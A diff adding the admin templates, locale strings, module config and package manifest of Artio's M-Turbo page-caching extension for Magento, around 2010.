+ * @copyright Copyright (c) 2008 Irubin Consulting Inc. DBA Varien (http://www.varien.com)
24
+ * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)
25
+ */
26
+ ?>
27
+ <div id="<?php echo $this->getHtmlId() ?>">
28
+ <table cellspacing="0" cellpadding="0" class="massaction">
29
+ <tr>
30
+ <td><a href="#" onclick="return <?php echo $this->getJsObjectName() ?>.selectAll()"><?php echo $this->__('Select All') ?></a>
31
+ <span class="separator">|</span>
32
+ <a href="#" onclick="return <?php echo $this->getJsObjectName() ?>.unselectAll()"><?php echo $this->__('Unselect All') ?></a>
33
+ <span class="separator">|</span>
34
+ <a href="#" onclick="return <?php echo $this->getJsObjectName() ?>.selectVisible()"><?php echo $this->__('Select Visible') ?></a>
35
+ <span class="separator">|</span>
36
+ <a href="#" onclick="return <?php echo $this->getJsObjectName() ?>.unselectVisible()"><?php echo $this->__('Unselect Visible') ?></a>
37
+ <span class="separator">|</span>
38
+ <strong id="<?php echo $this->getHtmlId() ?>-count">0</strong> <?php echo $this->__('items selected') ?>
39
+ </td>
40
+ <td>
41
+ <div class="right">
42
+ <div class="entry-edit">
43
+ <form action="" id="<?php echo $this->getHtmlId() ?>-form" method="post">
44
+ <?php echo $this->getBlockHtml('formkey')?>
45
+ <fieldset>
46
+ <span class="field-row">
47
+ <label><?php echo $this->__('Actions') ?></label>
48
+ <select id="<?php echo $this->getHtmlId() ?>-select" class="select absolute-advice">
49
+ <option value=""></option>
50
+ <?php foreach($this->getItems() as $_item): ?>
51
+ <option value="<?php echo $_item->getId() ?>"<?php echo ($_item->getSelected() ? ' selected="selected"' : '')?>><?php echo $_item->getLabel() ?></option>
52
+ <?php endforeach; ?>
53
+ </select>
54
+ </span>
55
+ <span class="outer-span" id="<?php echo $this->getHtmlId() ?>-form-hiddens"></span>
56
+ <span class="outer-span" id="<?php echo $this->getHtmlId() ?>-form-additional"></span>
57
+ <span class="field-row">
58
+ <?php echo $this->getApplyButtonHtml() ?>
59
+ </span>
60
+ </fieldset>
61
+ </form>
62
+ </div>
63
+
64
+ <div class="no-display">
65
+ <?php foreach($this->getItems() as $_item): ?>
66
+ <div id="<?php echo $this->getHtmlId() ?>-item-<?php echo $_item->getId() ?>-block">
67
+ <?php echo $_item->getAdditionalActionBlockHtml() ?>
68
+ </div>
69
+ <?php endforeach; ?>
70
+ </div>
71
+ </div>
72
+ </td>
73
+ </tr>
74
+ </table>
75
+ <?php if(!$this->getParentBlock()->canDisplayContainer()): ?>
76
+ <script type="text/javascript">
77
+ <?php echo $this->getJsObjectName() ?>.setGridIds('<?php echo $this->getGridIdsJson() ?>');
78
+ </script>
79
+ <?php endif; ?>
80
+ </div>
app/design/adminhtml/default/default/template/mturbo/preview/tree.phtml ADDED
@@ -0,0 +1,227 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Academic Free License (AFL 3.0)
8
+ * that is bundled with this package in the file LICENSE_AFL.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/afl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category design
22
+ * @package default_default
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)
25
+ */
26
+ ?>
27
+ <?php $updateElementId = $this->getData('updateElementId') ?>
28
+ <?php $selectedIds = implode(",", $this->getCategoryIds()) ?>
29
+ <?php $_divId = 'tree-div_' . $updateElementId . '_' . time() ?>
30
+ <div id="<?php echo $_divId ?>" class="tree"></div>
31
+ <input type="hidden" name="<?php echo $updateElementId ?>" id="<?php echo $updateElementId ?>" value="<?php echo $selectedIds ?>" />
32
+ <script type="text/javascript">
33
+ //<![CDATA[
34
+
35
+ // TODO: cleanup this script. It was copypasted from catalog/category/tree
36
+
37
+ var tree;
38
+
39
+ /**
40
+ * Fix ext compatibility with prototype 1.6
41
+ */
42
+ Ext.lib.Event.getTarget = function(e) {
43
+ var ee = e.browserEvent || e;
44
+ return ee.target ? Event.element(ee) : null;
45
+ };
46
+
47
+ Ext.tree.TreePanel.Enhanced = function(el, config)
48
+ {
49
+ Ext.tree.TreePanel.Enhanced.superclass.constructor.call(this, el, config);
50
+ };
51
+
52
+ Ext.extend(Ext.tree.TreePanel.Enhanced, Ext.tree.TreePanel, {
53
+
54
+ loadTree : function(config, firstLoad)
55
+ {
56
+ var parameters = config['parameters'];
57
+ var data = config['data'];
58
+
59
+ if ((typeof parameters['root_visible']) != 'undefined') {
60
+ this.rootVisible = parameters['root_visible']*1;
61
+ }
62
+
63
+ var root = new Ext.tree.TreeNode(parameters);
64
+
65
+ this.nodeHash = {};
66
+ this.setRootNode(root);
67
+
68
+ if (firstLoad) {
69
+ this.addListener('click', this.categoryClick.createDelegate(this));
70
+ }
71
+
72
+ this.loader.buildCategoryTree(root, data);
73
+ this.el.dom.innerHTML = '';
74
+ // render the tree
75
+ this.render();
76
+ },
77
+
78
+ categoryClick : function(node, e)
79
+ {
80
+ node.getUI().check(!node.getUI().checked());
81
+ }
82
+ });
83
+
84
+ Ext.onReady(function()
85
+ {
86
+ var categoryLoader = new Ext.tree.TreeLoader({
87
+ dataUrl: '<?php echo $this->getLoadTreeUrl() ?>'
88
+ });
89
+
90
+ categoryLoader.createNode = function(config) {
91
+ config.uiProvider = Ext.tree.CheckboxNodeUI;
92
+ var node;
93
+ var _node = Object.clone(config);
94
+ if (config.children && !config.children.length) {
95
+ delete(config.children);
96
+ node = new Ext.tree.AsyncTreeNode(config);
97
+ } else {
98
+ node = new Ext.tree.TreeNode(config);
99
+ }
100
+
101
+ return node;
102
+ };
103
+
104
+ categoryLoader.buildCategoryTree = function(parent, config)
105
+ {
106
+ if (!config) return null;
107
+
108
+ if (parent && config && config.length){
109
+ for (var i = 0; i < config.length; i++) {
110
+ config[i].uiProvider = Ext.tree.CheckboxNodeUI;
111
+ var node;
112
+ var _node = Object.clone(config[i]);
113
+ if (_node.children && !_node.children.length) {
114
+ delete(_node.children);
115
+ node = new Ext.tree.AsyncTreeNode(_node);
116
+ } else {
117
+ node = new Ext.tree.TreeNode(config[i]);
118
+ }
119
+ parent.appendChild(node);
120
+ node.loader = node.getOwnerTree().loader;
121
+ if (_node.children) {
122
+ this.buildCategoryTree(node, _node.children);
123
+ }
124
+ }
125
+ }
126
+ };
127
+
128
+ categoryLoader.buildHash = function(node)
129
+ {
130
+ var hash = {};
131
+
132
+ hash = this.toArray(node.attributes);
133
+
134
+ if (node.childNodes.length>0 || (node.loaded==false && node.loading==false)) {
135
+ hash['children'] = new Array;
136
+
137
+ for (var i = 0, len = node.childNodes.length; i < len; i++) {
138
+ if (!hash['children']) {
139
+ hash['children'] = new Array;
140
+ }
141
+ hash['children'].push(this.buildHash(node.childNodes[i]));
142
+ }
143
+ }
144
+
145
+ return hash;
146
+ };
147
+
148
+ categoryLoader.toArray = function(attributes) {
149
+ var data = {};
150
+ for (var key in attributes) {
151
+ var value = attributes[key];
152
+ data[key] = value;
153
+ }
154
+
155
+ return data;
156
+ };
157
+
158
+ categoryLoader.on("beforeload", function(treeLoader, node) {
159
+ treeLoader.baseParams.id = node.attributes.id;
160
+ });
161
+
162
+ categoryLoader.on("load", function(treeLoader, node, config) {
163
+ varienWindowOnload();
164
+ });
165
+
166
+ tree = new Ext.tree.TreePanel.Enhanced('<?php echo $_divId ?>', {
167
+ animate: false,
168
+ loader: categoryLoader,
169
+ enableDD: false,
170
+ containerScroll: true,
171
+ selModel: new Ext.tree.CheckNodeMultiSelectionModel(),
172
+ rootVisible: '<?php echo $this->getRoot()->getIsVisible() ?>',
173
+ useAjax: <?php echo $this->getUseAjax() ?>,
174
+ currentNodeId: <?php echo (int) $this->getCategoryId() ?>,
175
+ addNodeTo: false,
176
+ rootUIProvider: Ext.tree.CheckboxNodeUI
177
+ });
178
+
179
+ tree.on('check', function(node, checked) {
180
+ if(node.attributes.checked) {
181
+ <?php echo $updateElementId ?>CategoryAdd(node.id);
182
+ } else {
183
+ <?php echo $updateElementId ?>CategoryRemove(node.id);
184
+ }
185
+ <?php //echo $this->getJsFormObject() ?>//.updateElement.value = this.getChecked().join(', ');
186
+ varienElementMethods.setHasChanges(node.getUI().checkbox);
187
+ }, tree);
188
+
189
+ // set the root node
190
+ var parameters = {
191
+ text: '<?php echo htmlentities($this->getRoot()->getName()) ?>',
192
+ draggable: false,
193
+ checked:'<?php echo $this->getRoot()->getChecked() ?>',
194
+ uiProvider: Ext.tree.CheckboxNodeUI,
195
+ allowDrop: <?php if ($this->getRoot()->getIsVisible()): ?>true<?php else : ?>false<?php endif; ?>,
196
+ id: <?php echo (int) $this->getRoot()->getId() ?>,
197
+ expanded: <?php echo (int) $this->getIsWasExpanded() ?>,
198
+ category_id: <?php echo (int) $this->getCategoryId() ?>
199
+ };
200
+
201
+ tree.loadTree({parameters:parameters, data:<?php echo $this->getTreeJson() ?>},true);
202
+ tree.addListener('click', <?php echo $updateElementId ?>CategoryClick.createDelegate(this));
203
+
204
+ });
205
+
206
+ function <?php echo $updateElementId ?>CategoryClick(node, e){
207
+ if (node.disabled) {
208
+ return;
209
+ }
210
+ node.getUI().check(!node.getUI().checked());
211
+ varienElementMethods.setHasChanges(Event.element(e), e);
212
+ };
213
+ function <?php echo $updateElementId ?>CategoryAdd(id) {
214
+ var ids = $('<?php echo $updateElementId ?>').value.split(',');
215
+ ids.push(id);
216
+ $('<?php echo $updateElementId ?>').value = ids.join(',');
217
+ }
218
+ function <?php echo $updateElementId ?>CategoryRemove(id) {
219
+ var ids = $('<?php echo $updateElementId ?>').value.split(',');
220
+ // bug #7654 fixed
221
+ while (-1 != ids.indexOf(id)) {
222
+ ids.splice(ids.indexOf(id), 1);
223
+ }
224
+ $('<?php echo $updateElementId ?>').value = ids.join(',');
225
+ }
226
+ //]]>
227
+ </script>
app/design/adminhtml/default/default/template/mturbo/tabs.phtml ADDED
@@ -0,0 +1,45 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Academic Free License (AFL 3.0)
8
+ * that is bundled with this package in the file LICENSE_AFL.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/afl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category design_default
22
+ * @package MTurbo
23
+ * @copyright Copyright (c) Artio 2010 (www.artio.net)
24
+ * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)
25
+ */
26
+ ?>
27
+ <?php if($this->getTitle()): ?>
28
+ <h3><?php echo $this->getTitle() ?></h3>
29
+ <?php endif ?>
30
+ <?php if(!empty($tabs)): ?>
31
+ <ul id="<?php echo $this->getId() ?>" class="tabs">
32
+ <?php foreach ($tabs as $_tab): ?>
33
+ <?php if (!$this->canShowTab($_tab)): continue; endif; ?>
34
+ <li <?php if($this->getTabIsHidden($_tab)): ?> style="display:none"<?php endif; ?>>
35
+ <a onclick="$('activeTab').value='<?php echo $this->getTabId($_tab) ?>'; " href="<?php echo $this->getTabUrl($_tab) ?>" id="<?php echo $this->getTabId($_tab) ?>" name="<?php echo $this->getTabId($_tab, false) ?>" title="<?php echo $this->getTabTitle($_tab) ?>" class="tab-item-link <?php echo $this->getTabClass($_tab) ?><?php if (preg_match('/\s?ajax\s?/', $_tab->getClass())) {?> notloaded<?php }?>">
36
+ <span><span class="changed" title="<?php echo $this->__('The information in this tab has been changed.') ?>"></span><span class="error" title="<?php echo $this->__('This tab contains invalid data. Please solve the problem before saving.') ?>"></span><?php echo $this->getTabLabel($_tab); ?></span>
37
+ </a>
38
+ <div id="<?php echo $this->getTabId($_tab) ?>_content" style="display:none;"><?php echo $this->getTabContent($_tab) ?></div>
39
+ </li>
40
+ <?php endforeach; ?>
41
+ </ul>
42
+ <script type="text/javascript">
43
+ <?php echo $this->getJsObjectName() ?> = new varienTabs('<?php echo $this->getId() ?>', '<?php echo $this->getDestElementId() ?>', '<?php echo $this->getActiveTabId() ?>', <?php echo $this->getAllShadowTabs()?>);
44
+ </script>
45
+ <?php endif; ?>
app/etc/modules/Artio_MTurbo.xml ADDED
@@ -0,0 +1,9 @@
 
 
 
 
 
 
 
 
 
1
+ <?xml version="1.0"?>
2
+ <config>
3
+ <modules>
4
+ <Artio_MTurbo>
5
+ <active>true</active>
6
+ <codePool>local</codePool>
7
+ </Artio_MTurbo>
8
+ </modules>
9
+ </config>
app/locale/en_US/Artio_MTurbo.csv ADDED
@@ -0,0 +1,112 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ " Wrong license type, license codes are not matching this host or license text has been altered."," Wrong license type, license codes are not matching this host or license text has been altered."
2
+ " Zend Loader is not installed. I can't verify your licence."," Zend Loader is not installed. I can't verify your licence."
3
+ "(hours : minutes)","(hours : minutes)"
4
+ "Actions","Actions"
5
+ "All pages was succesfully removed","All pages was succesfully removed"
6
+ "Are you sure?","Are you sure?"
7
+ "Automatic cache management","Automatic cache management"
8
+ "Before synchronization must be configuration saved","Before synchronization must be configuration saved"
9
+ "Block","Block"
10
+ "Blocked page can't refresh","Blocked page can't refresh"
11
+ "Blocked","Blocked"
12
+ "Cache selected pages","Cache selected pages"
13
+ "Cache","Cache"
14
+ "Cached","Cached"
15
+ "Categories","Categories"
16
+ "Configuration error","Configuration error"
17
+ "Configuration was successfully saved","Configuration was successfully saved"
18
+ "Delete","Delete"
19
+ "Cache all pages","Cache all pages"
20
+ "Download time","Download time"
21
+ "Downloaded <strong>%s</strong> pages","Downloaded <strong>%s</strong> pages"
22
+ "Downloading page fail. ","Downloading page fail. "
23
+ "Enable automatic cache refresh","Enable automatic cache refresh"
24
+ "Enable multi-storeview","Enable multi-storeview"
25
+ "Refresh cache after product or category save","Refresh cache after product or category save"
26
+ "Finished downloading.","Finished downloading."
27
+ "General Options","General Options"
28
+ "Generate complete. Write %d urls","Generate complete. Write %d urls"
29
+ "Generate error","Generate error"
30
+ "Generate list of rewrite URLs to the file","Generate list of rewrite URLs to the file"
31
+ " Generate a list of the URLs and store it on the disk. This action will be executed if Automatic cache management is enabled."," Generate a list of the URLs and store it on the disk. This action will be executed if Automatic cache management is enabled."
32
+ "Generate now","Generate now"
33
+ "Generating pages period","Generating pages period"
34
+ "Generating pages","Generating pages"
35
+ "Homepage Cache Options","Homepage Cache Options"
36
+ "I can't write to .htaccess, please change permission.","I can't write to .htaccess, please change permission."
37
+ "ID","ID"
38
+ "Cache homepage","Cache homepage"
39
+ "Installation complete. Welcome!!!","Installation complete. Welcome!!!"
40
+ "Installation succesfull. Now will be your Magento faster than other.","Installation succesfull. Now will be your Magento faster than other."
41
+ "Last downlaod","Last downlaod"
42
+ "Last refresh","Last refresh"
43
+ "Last sync","Last sync"
44
+ "Magento MTurbo instalation problem","Magento MTurbo instalation problem"
45
+ "Magento MTurbo instalation succesfull. Please see into System/Turbo Cache Management","Magento MTurbo instalation succesfull. Please see into System/Turbo Cache Management"
46
+ "Magento Turbo Cache Management","Magento Turbo Cache Management"
47
+ "Cache actions","Cache actions"
48
+ "Menu","Menu"
49
+ "No file is decoded. Probably, your licence is not loaded on server.","No file is decoded. Probably, your licence is not loaded on server."
50
+ "No","No"
51
+ "Not blocked","Not blocked"
52
+ "Not cached","Not cached"
53
+ "Options","Options"
54
+ "Page downloaded: ","Page downloaded: "
55
+ "Page was succesfull download. Now is cached.","Page was succesfull download. Now is cached."
56
+ "Cache Path","Cache Path"
57
+ "Please select item(s)","Please select item(s)"
58
+ "Processed <strong>%s%% %s/%d</strong> pages","Processed <strong>%s%% %s/%d</strong> pages"
59
+ "Products","Products"
60
+ "Record was successfully updated","Record was successfully updated"
61
+ "Refresh","Refresh"
62
+ "Purge all cached pages and relevant directories located on the disk. No caching will be done until cache is recreated.","Purge all cached pages and relevant directories located on the disk. No caching will be done until cache is recreated."
63
+ "Remove all cached pages","Remove all cached pages"
64
+ "Remove error:","Remove error:"
65
+ "Request path","Request path"
66
+ "Save and Install","Save and Install"
67
+ "Save configuration","Save configuration"
68
+ "Select All","Select All"
69
+ "Select Visible","Select Visible"
70
+ "Skip blocked page: ","Skip blocked page: "
71
+ "Starting download pages, please wait...","Starting download pages, please wait..."
72
+ "Starts downloading of all pages (except blocked pages). Download progress can be monitored in a separate window (do not close this window). Before downloading is always automatically starts synchronization. (Downloading may take several hours. Download time depending on the number of cached pages).","Starts downloading of all pages (except blocked pages). Download progress can be monitored in a separate window (do not close this window). Before downloading is always automatically starts synchronization. (Downloading may take several hours. Download time depending on the number of cached pages)."
73
+ "Status","Status"
74
+ "Store View","Store View"
75
+ "Sync time","Sync time"
76
+ "Synchronization complete","Synchronization complete"
77
+ "Synchronization error","Synchronization error"
78
+ "Synchronize now","Synchronize now"
79
+ "Update URLs from Rewrite Table","Update URLs from Rewrite Table"
80
+ "Launchng this action will update cached URLs based on current values from the Rewrite Table. We recommend runing this action after major modifications to the products or categories.","Launchng this action will update cached URLs based on current values from the Rewrite Table. We recommend runing this action after major modifications to the products or categories."
81
+ "This module require PHP ZendLoader extension","This module require PHP ZendLoader extension"
82
+ "Total of %d record(s) were successfully deleted","Total of %d record(s) were successfully deleted"
83
+ "Total of %d record(s) were successfully updated","Total of %d record(s) were successfully updated"
84
+ "Turbo Cache Management - Downloading pages","Turbo Cache Management - Downloading pages"
85
+ "Turbo Cache Management","Turbo Cache Management"
86
+ "URL Synchronization","URL Synchronization"
87
+ "Unblock","Unblock"
88
+ "Unselect All","Unselect All"
89
+ "Unselect Visible","Unselect Visible"
90
+ "Url","Url"
91
+ "Warning: Please don't close window during downloading pages","Warning: Please don't close window during downloading pages"
92
+ "Welcome text","Welcome to M-Turbo Cache developed by Artio.
93
+ To complete installation, we need to have entered the path to your directory where you want to store cached pages.
94
+ This path is then entered into a .htaccess file, which is a function of the components necessary."
95
+ "Yes","Yes"
96
+ "Your base url match not with url in the licence key. This action is not available","Your base url match not with url in the licence key. This action is not available"
97
+ "Your first options","Your first options"
98
+ "Your licence code is not valid. This action is not available","Your licence code is not valid. This action is not available"
99
+ "Zend loader is not configured to load encoded files.","Zend loader is not configured to load encoded files."
100
+ "items selected","items selected"
101
+ "DOMAIN DOES NOT MATCH","Domain does not match"
102
+ "Download ID not set.","Download ID not set correctly."
103
+ "ERROR_DOWNLOAD_ID_NOT_FOUND","The inserted Download ID has not been found. Please, make sure you have entered it correctly. If you are sure it is correct and valid, contact <a href=""mailto:support@artio.net"">support@artio.net</a>."
104
+ "ERROR_REG_CHECK_FAIL","Check licence fail. Please, contact <a href=""mailto:support@artio.net"">support@artio.net</a>."
105
+ "INFO_UPGRADE_LICENSE_EXPIRED","Your license has already expired. Please, visit <a href="http://www.artio.net/magento-extensions/m-turbo-accelerator">artio.net</a> to prolong
106
+ it."
107
+ "INFO_UPGRADE_NOT_ACTIVE","The license has not been activated yet. Please, retry later or contact
108
+ support@artio.net."
109
+ "INFO_YOU_GET_FREE_VERSION","INFO_YOU_GET_FREE_VERSION"
110
+ "INFO_ENTER_DOWNLOAD_ID","INFO_ENTER_DOWNLOAD_ID"
111
+ "Not activated yet","Not activated yet"
112
+ "OK","OK"
package.xml ADDED
@@ -0,0 +1,22 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?xml version="1.0"?>
2
+ <package>
3
+ <name>MTurbo</name>
4
+ <version>1.0</version>
5
+ <stability>stable</stability>
6
+ <license uri="http://www.artio.net/m-turbo/license">Copyright 2010, ARTIO s.r.o. All rights reserved.</license>
7
+ <channel>community</channel>
8
+ <extends/>
9
+ <summary>MAGENTO E-COMMERCE ACCELERATOR</summary>
10
+ <description>M-Turbo is a seamlessy working caching component for Magento e-store
11
+ that provides fast response to shoppers, improves performance of the
12
+ store and saves significant ammount of server resources. Integral part
13
+ of Magento site optimization!</description>
14
+ <notes>Visit product homepage at:
15
+ http://www.artio.net/magento-extensions/m-turbo-accelerator</notes>
16
+ <authors><author><name>Michal Unzeitig</name><user>auto-converted</user><email>michal.unzeitig@artio.net</email></author><author><name>Ji&#x159;&#xED; Chmiel</name><user>auto-converted</user><email>jiri.chmiel@artio.net</email></author></authors>
17
+ <date>2010-07-07</date>
18
+ <time>07:57:08</time>
19
+ <contents><target name="magedesign"><dir name="adminhtml"><dir name="default"><dir name="default"><dir name="layout"><file name="mturbo.xml" hash="e1e9a5dc117f392f9e2926526b9b1c56"/></dir><dir name="template"><dir name="mturbo"><dir name="preview"><file name="tree.phtml" hash="558e2da8b9c5584a94748116fd8249d0"/></dir><file name="demo.phtml" hash="509ced41c68e1ee7abca6636d24cac0f"/><file name="massaction.phtml" hash="c4ca58cbd05d564129d3c39d452c783e"/><file name="tabs.phtml" hash="1015f2e05a41bb7751b11036e48cbd9f"/></dir></dir></dir></dir></dir></target><target name="magelocal"><dir name="Artio"><dir name="MTurbo"><dir name="Block"><dir name="Adminhtml"><dir name="Edit"><dir name="Tab"><file name="Abstract.php" hash="16a37f270112b175796bb5af02eea84d"/><file name="Actions.php" hash="4f34e782ef8c10a771396187a71f9409"/><file name="Category.php" hash="c3ead1f2e3c4456ae506bc412cb7a4d6"/><file name="License.php" hash="554adc83dd6d0c69f65a674c30c0e49f"/><file name="Main.php" hash="480da24b9844ca61c02e855fd3e362bd"/><file name="Product.php" hash="2458da4035912d8345f479583fd161bd"/><file name="Url.php" hash="81f49156c0f08b244235d715f2fe7b4f"/></dir><file name="Form.php" hash="e3694987ff374e400703f188e391e351"/><file name="Tabs.php" hash="282cb5ff643fa61480994e3f72856f36"/></dir><dir name="Welcome"><file name="Form.php" hash="0af7f37c2ba47175801b5082cf7ceb5a"/></dir><file name="Mturbo.php" hash="3abfef293f93f669cf38b0efc076721f"/><file name="Run.php" hash="31da176aecb2db024cd350290c4533c3"/><file name="Welcome.php" hash="30b0b1882eff25371e8d1bf4ee0bf880"/></dir><dir name="Data"><dir name="Form"><dir name="Element"><file name="Button.php" hash="0317d74c9856481c8e2ccfdff5f7ff20"/><file name="CategoryTree.php" hash="0294437ea2c2b7f92414b945061b12ee"/><file name="NoEscLabel.php" hash="d10b4e82853916eccba7989a3d272660"/><file name="Time.php" hash="ce401753d4c06840f12ffc011c2ac435"/></dir></dir><dir name="Grid"><dir name="Column"><file name="Blocked.php" hash="4941dcafb09b4eb502d3eabfd3f73dc4"/></dir></dir></dir></dir><dir name="controllers"><dir name="Adminhtml"><file name="CheckController.php" hash="6b62cfd1cbb8d9713eb64abe553b10b8"/><file name="MturboController.php" hash="41e8d4178e24f0c641e795d6cc40503e"/></dir><file name="AdminhtmlController.php" hash="6108e8ab5feae6722b63d13477efa1cd"/></dir><dir name="etc"><file name="config.xml" hash="af0490e77037eea10d5cc327528cc1e4"/></dir><dir name="Helper"><file name="Checker.php" hash="3f0199949f3c1f8178c98c18b7555aac"/><file name="Data.php" hash="6d5457e02cae3a1b1d876bde6df790a2"/><file name="Downloader.php" hash="1f5c4798e38b13e36452b45aeea124eb"/><file name="Info.php" hash="b2f804ce14c86097d57e3ce7b15e8187"/></dir><dir name="Model"><dir name="htaccess"><file name="htaccess.txt" hash="17b8ae29b45d4a7072de79293b597666"/><file name="htaccessroot.txt" hash="7d55f4bb772128b1f8783b319344d17c"/></dir><dir name="Mysql4"><dir name="Mturbo"><file name="Collection.php" hash="905f9728ed7a8c9d901f3f55c3e9a7d7"/></dir><file name="Mturbo.php" hash="e81f8f1801eca956229a068d0bdea2ab"/></dir><dir name="scripts"><file name="wgetlib.so" hash="5473f00c21012186e41141e3fb3bc85f"/><file name="wgettrans.so" hash="e4f414b0f796051518b6d951133c856b"/></dir><file name="Config.php" hash="7efc8e895896b068f0d83fa5f55bbb98"/><file name="File.php" hash="868697e0c1c9f404789819ec3eb94c41"/><file name="Mturbo.php" hash="667fedf67c5d9d954ff6d8639e6ff2a1"/><file name="Observer.php" hash="f4cab2aaffbe68647b6831555d1ca301"/><file name="Observer2.php" hash="de554c2515d5cdefbaa2375a5389f7f8"/></dir><dir name="sql"><dir name="mturbo_setup"><file name="mysql4-install-0.1.0.php" hash="7dc9240b17439483f3ec170b11045eff"/></dir></dir></dir></dir></target><target name="magelocale"><dir name="en_US"><file name="Artio_MTurbo.csv" hash="37ce492d01d06c14e5f0991a6d60b375"/></dir></target><target name="mageetc"><dir name="modules"><file name="Artio_MTurbo.xml" hash="4de5464bc12f3c0702d2c36931bda64d"/></dir></target></contents>
20
+ <compatible/>
21
+ <dependencies/>
22
+ </package>